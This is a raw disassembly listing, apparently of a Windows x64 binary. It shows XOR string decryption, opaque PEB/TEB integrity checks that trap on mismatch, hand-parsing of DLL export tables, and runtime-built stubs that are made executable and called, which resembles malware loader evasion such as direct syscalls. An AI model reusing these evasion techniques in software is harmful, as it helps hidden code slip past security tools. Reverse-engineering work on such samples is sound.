sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd50], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd58], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
xor rdx, rax
mov rcx, qword [rbp + 0xd50]
xor rcx, rdx
mov rax, qword [rbp + 0xd48]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400326d7
add edi, r12d
cmp edi, 5
jl 0x1400313bf
jmp 0x1400318f4
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xc78], gethostname
mov qword [rbp + 0xc80], rbx
mov dword [rbp + 0xc90], ebx
mov qword [rbp + 0xc88], rbx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc98], xmm0
mov eax, r12d
mov qword [rbp + 0xc68], rax
mov qword [rbp + 0xc70], rbx
mov byte [rbp + 0x298], 1
mov byte [rbp + 0x299], 0x63
mov byte [rbp + 0x29a], 0xe6
mov byte [rbp + 0x29b], gethostname
mov byte [rbp + 0x29c], 0x65
mov byte [rbp + 0x29d], 0xb6
mov byte [rbp + 0x29e], 0xef
mov byte [rbp + 0x29f], Ordinal_50
mov byte [rbp + 0x2a0], Ordinal_217
mov byte [rbp + 0x2a1], 0x62
mov byte [rbp + 0x2a2], 0xe9
mov byte [rbp + 0x2a3], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2a4], WSAGetLastError
xor eax, eax
mov byte [rbp + 0x2a5], al
mov r8, rbx
movabs rsi, 0x8080808080808081
movabs r9, 0x13b619958e
lea r10d, [rax + 0xd]
movabs r14, 0x184295a46
movabs r15, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x298], dil
inc r8
add r9, r14
add r10, 0xd
movabs rax, 0x276c332b1c
cmp r9, rax
jb 0x14003155b
mov byte [rbp + 0x2a5], bl
mov byte [rbp + 0x178], 0xeb
mov byte [rbp + 0x179], Ordinal_41
mov byte [rbp + 0x17a], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x17b], 0x78
mov byte [rbp + 0x17c], 0x43
mov byte [rbp + 0x17d], Ordinal_79
mov byte [rbp + 0x17e], 0xf8
mov byte [rbp + 0x17f], Ordinal_217
mov byte [rbp + 0x180], gethostname
xor eax, eax
mov byte [rbp + 0x181], al
mov r8, rbx
lea r9d, [rax + 9]
movabs r10, 0xda5742c76
movabs r11, 0x1b4ae858ec
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x178], dil
inc r8
add r10, r14
add r9, 9
cmp r10, r11
jb 0x14003162a
mov byte [rbp + 0x181], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x1400318b2
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400318b2
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400318b2
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400318b2
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov esi, dword [rax + 0x24]
add rsi, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, rbx
mov r14d, dword [rax + 0x18]
test r14, r14
je 0x1400318b2
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x298]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140031725
inc rax
test edi, edi
jne 0x140031710
test r8d, r8d
je 0x140031737
inc rdx
cmp rdx, r14
jb 0x1400316ff
jmp 0x1400318b2
movzx eax, word [rsi + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400318b2
mov r15d, dword [rdx + 4]
test r15d, r15d
js 0x1400318b2
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1400a593c
or dword [rbp + 0x9974], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x85f0]
call fcn.14003deec
lea rcx, [rbp + 0x85f0]
call fcn.14003d1dc
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
mov rdi, rbx
lea rcx, [rbp + 0x85f0]
call fcn.14003d1dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x35520], rax
inc rdi
cmp rdi, 0x200
jl 0x1400317c8
mov r8d, 0x1000
lea rdx, [rbp + 0x35520]
mov rcx, rsi
call fcn.1400cfe30
mov dword [0x140106994], r15d
lea rdi, [r14 + rsi]
movsd xmm0, qword [0x140106990]
movsd qword [rdi], xmm0
movzx eax, word [0x140106998]
mov word [rdi + 8], ax
mov al, byte [0x14010699a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdfc], ebx
lea r9, [rbp + 0xdfc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov r14d, 0x1000
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xc68]
lea r8, [rbp + 0xc78]
mov edx, 0x1fffff
lea rcx, [rbp + 0xbe8]
call rdi
mov edi, eax
lea r9, [rbp + 0xdfc]
mov r8d, dword [rbp + 0xdfc]
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r14d
xor edx, edx
mov rcx, rsi
call fcn.1400d04d0
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140106994], ebx
test edi, edi
js 0x1400318c4
mov rax, qword [rbp + 0xbe8]
inc rax
test rax, 0xfffffffffffffffe
jne 0x1400318d3
mov qword [rbp + 0xbe8], rbx
mov ecx, r12d
call fcn.140025118
mov r12d, 1
mov esi, 0xa8e3e350
movabs r15, 0x2aaaaaaaaaaaaaab
mov r14d, 0xdb4576f5
mov r10d, 0xdeadbeef
mov rax, qword [rbp + 0xbe8]
inc rax
test rax, 0xfffffffffffffffe
jne 0x140031c14
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x140031a1f
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r11d, 0x8aec58f0
mov rax, r11
cqo
idiv rcx
imul rdx, rsi
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14003192e
xor rdi, r14
mov rcx, rdi
imul rcx, r11
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r14
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd48], rdi
mov rax, r8
or rax, r10
xor rax, rcx
mov qword [rbp + 0xd50], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd58], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
and rdx, rax
mov rcx, qword [rbp + 0xd50]
and rcx, rdx
mov rax, qword [rbp + 0xd48]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400326e2
add edi, r12d
cmp edi, 7
jl 0x1400319b7
movdqa xmm0, xmmword [0x1400f5c30]
movdqu xmmword [rbp + 0x658], xmm0
mov byte [rbp + 0x668], 0x98
mov byte [rbp + 0x669], Ordinal_200
mov byte [rbp + 0x66a], 0x51
mov byte [rbp + 0x66b], Ordinal_60
mov byte [rbp + 0x66c], Ordinal_200
mov byte [rbp + 0x66d], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x66e], 0x86
xor eax, eax
mov byte [rbp + 0x66f], al
mov rdi, rbx
movabs r15, 0x184295a45
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x658]
lea rcx, [rbp + 0x658]
call fcn.14003cc3c
xor al, dil
mov byte [rbp + rdi + 0x658], al
add rdi, r12
cmp rdi, 0x17
jb 0x140031a75
mov byte [rbp + 0x66f], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x658]
call fcn.140025168
mov rax, qword gs:[0x15]
cmp rax, rsi
movabs r15, 0x2aaaaaaaaaaaaaab
jne 0x140031c14
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, rsi
mov ebx, 0xdeedfeff
mov ecx, r8d
mov rdx, rsi
shl rdx, cl
mov rax, r14
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x140031aed
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd48], rax
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd50], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd58], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
xor rdx, rax
mov rcx, qword [rbp + 0xd50]
xor rcx, rdx
mov rax, qword [rbp + 0xd48]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400326ed
add edi, r12d
cmp edi, 5
jl 0x140031bac
mov rax, qword gs:[0x15]
mov r14d, reloc.WS2_32.dll_recv
cmp rax, rsi
jne 0x140031d58
mov rdi, rbx
mov r8d, r14d
mov r9d, 0xa8e3e360
movabs r10, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140031c82
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140031c42
mov rax, rdi
xor rax, rdi
xor rax, rsi
mov qword [rbp + 0xd48], rax
mov rcx, rdi
mov r10d, 0xdeadbeef
or rcx, r10
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd50], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd58], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
or rdx, rax
mov rcx, qword [rbp + 0xd50]
or rcx, rdx
mov rax, qword [rbp + 0xd48]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400326f8
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x140031cec
movdqa xmm0, xmmword [0x1400f5d90]
movdqu xmmword [rbp + 0x2e0], xmm0
xor eax, eax
mov byte [rbp + 0x2f0], al
mov rdi, rbx
movabs r15, 0x184295a45
mov qword [rsp + 0x20], r15
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2e0]
lea rcx, [rbp + 0x2e0]
call fcn.14003c9f4
xor al, dil
mov byte [rbp + rdi + 0x2e0], al
add rdi, r12
cmp rdi, r14
jb 0x140031d7d
mov byte [rbp + 0x2f0], bl
lea rcx, [rbp + 0x2e0]
call fcn.1400255f4
mov rax, qword gs:[0x15]
cmp rax, rsi
movabs r15, 0x2aaaaaaaaaaaaaab
jne 0x140031f17
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, rsi
mov ebx, 0xdb4576f5
mov ecx, r8d
mov rdx, rsi
shl rdx, cl
mov rax, rbx
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
mov edx, 0xdeedfeff
and rax, rdx
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x140031dec
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd48], rax
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd50], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd58], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
xor rdx, rax
mov rcx, qword [rbp + 0xd50]
xor rcx, rdx
mov rax, qword [rbp + 0xd48]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140032703
add edi, r12d
cmp edi, 5
jl 0x140031eaf
lea rdi, [rbp + 0x28410]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x28410]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1400322a4
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x140032064
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, rsi
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x140031f68
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
imul rcx, r10
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd48], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd50], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd58], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
and rdx, rax
mov rcx, qword [rbp + 0xd50]
and rcx, rdx
mov rax, qword [rbp + 0xd48]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003270e
add edi, r12d
cmp edi, 7
jl 0x140031ffc
movdqa xmm0, xmmword [0x1400f5ac0]
movdqu xmmword [rbp + 0x950], xmm0
movdqa xmm1, xmmword [0x1400f5aa0]
movdqu xmmword [rbp + 0x960], xmm1
mov byte [rbp + 0x970], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x971], 0x5c
xor eax, eax
mov byte [rbp + 0x972], al
mov r8, rbx
movabs rsi, 0x184295a45
lea r10d, [rax + 0x22]
movabs r9, 0x338d7dfd4c
movabs r11, 0x8080808080808081
movabs r15, 0x184295a46
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x950], dil
add r8, r12
add r9, r15
add r10, 0x22
movabs rax, 0x671afbfa98
cmp r9, rax
jb 0x1400320c9
mov byte [rbp + 0x972], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x950]
call fcn.140025168
mov rax, qword gs:[0x15]
mov esi, 0xa8e3e350
cmp rax, rsi
movabs r15, 0x2aaaaaaaaaaaaaab
jne 0x1400322a4
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9d, esi
mov ebx, 0xdb4576f5
mov rdx, rbx
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
mov edx, 0xdeedfeff
and rax, rdx
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x140032179
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd48], rax
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd50], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd58], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
xor rdx, rax
mov rcx, qword [rbp + 0xd50]
xor rcx, rdx
mov rax, qword [rbp + 0xd48]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140032719
add edi, r12d
cmp edi, 5
jl 0x14003223c
mov rax, qword [rbp - 0x18]
mov edi, dword [rax + 0x50]
mov rax, qword [rbp + 0xbe8]
mov qword [rsp + 0x60], rax
cmp qword [0x14010ae80], rbx
jne 0x1400322e1
mov ecx, 0x26b0
call fcn.1400b48e8
test rax, rax
je 0x1400322e1
mov qword [rax], rbx
mov qword [rax + 8], 0x19c
mov qword [0x14010ae80], rax
mov qword [rbp + 0xbf0], rbx
mov qword [rbp + 0xe70], rdi
movdqa xmm0, xmmword [0x1400f5ce0]
movdqu xmmword [rbp + 0x640], xmm0
mov byte [rbp + 0x650], 0x50
mov byte [rbp + 0x651], 0x61
mov byte [rbp + 0x652], Ordinal_217
mov byte [rbp + 0x653], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x654], Ordinal_211
mov byte [rbp + 0x655], Ordinal_41
mov byte [rbp + 0x656], WSAStartup
xor eax, eax
mov byte [rbp + 0x657], al
mov rdi, rbx
movabs r15, 0xca8495ff84371
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x640]
lea rcx, [rbp + 0x640]
call fcn.14003d128
xor al, dil
mov byte [rbp + rdi + 0x640], al
add rdi, r12
cmp rdi, 0x17
jb 0x140032345
mov byte [rbp + 0x657], bl
mov rsi, qword [0x14010ae80]
test rsi, rsi
je 0x140032461
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x140032413
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, r14
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400b48e8
mov r14, rax
test rax, rax
je 0x140032457
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x14010ae80]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400cfe30
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400d04d0
mov rcx, rdi
call fcn.1400b47c4
mov qword [0x14010ae80], r14
mov rsi, r14
lea rax, [rbp + 0x640]
mov qword [rbp + 0xe08], rax
mov qword [rbp + 0xe10], Ordinal_32
mov byte [rbp + 0xe18], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xe08]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xe18]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
movabs r15, 0xca8495ff84371
mov byte [rbp + 0x188], 0x7a
mov byte [rbp + 0x189], 0x5c
mov byte [rbp + 0x18a], 1
mov byte [rbp + 0x18b], 0x84
mov byte [rbp + 0x18c], 0x90
mov byte [rbp + 0x18d], Ordinal_32
mov byte [rbp + 0x18e], 0xe5
mov byte [rbp + 0x18f], 0xe3
mov byte [rbp + 0x190], 0x88
xor eax, eax
mov byte [rbp + 0x191], al
mov rdi, rbx
mov qword [rsp + 0x20], r15
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x188]
lea rcx, [rbp + 0x188]
call fcn.14003cfc8
xor al, dil
mov byte [rbp + rdi + 0x188], al
inc rdi
cmp rdi, 9
jb 0x1400324ab
mov byte [rbp + 0x191], bl
mov rsi, qword [0x14010ae80]
test rsi, rsi
je 0x1400325bf
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x14003257a
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400b48e8
mov r14, rax
test rax, rax
je 0x1400325bf
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x14010ae80]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400cfe30
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400d04d0
mov rcx, rdi
call fcn.1400b47c4
mov qword [0x14010ae80], r14
mov rsi, r14
lea rax, [rbp + 0x188]
mov qword [rbp + 0xe08], rax
mov eax, 0xa
mov qword [rbp + 0xe10], rax
mov byte [rbp + 0xe18], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xe08]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xe18]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140032654
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140032654
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140032654
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140032654
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov esi, dword [rax + 0x24]
add rsi, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, rbx
mov r14d, dword [rax + 0x18]
test r14, r14
je 0x140032654
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x640]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140032643
inc rax
test edi, edi
jne 0x14003262e
test r8d, r8d
je 0x140032724
inc rdx
cmp rdx, r14
jb 0x14003261d
mov r15d, ebx
mov rdi, qword [0x14010ae80]
mov r12, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r13, [rcx*8 + 0x10]
mov r14d, ebx
test r12, r12
jle 0x1400328f7
lea rsi, [rdi + 0x10]
movups xmm1, xmmword [rsi]
movsd xmm0, qword [rsi + 0x10]
movsd qword [rbp + 0xe18], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x1400328e4
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400328e4
mov al, byte [rbp + 0xe18]
test al, al
jne 0x1400328ab
xor edx, edx
call fcn.1400d04d0
jmp 0x1400328e4
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
movzx eax, word [rsi + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140032654
mov r15d, dword [rdx + 4]
test r15d, r15d
js 0x140032654
mov r9d, 4
mov r13d, 0x3000
mov r8d, r13d
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1400a593c
or dword [rbp + 0xad04], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x9980]
call fcn.14003deec
lea rcx, [rbp + 0x9980]
call fcn.14003d1dc
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
mov rdi, rbx
lea rcx, [rbp + 0x9980]
call fcn.14003d1dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x41520], rax
inc rdi
cmp rdi, 0x200
jl 0x1400327bc
mov r8, r12
lea rdx, [rbp + 0x41520]
mov rcx, r14
call fcn.1400cfe30
mov dword [0x140106994], r15d
lea rdi, [rsi + r14]
movsd xmm0, qword [0x140106990]
movsd qword [rdi], xmm0
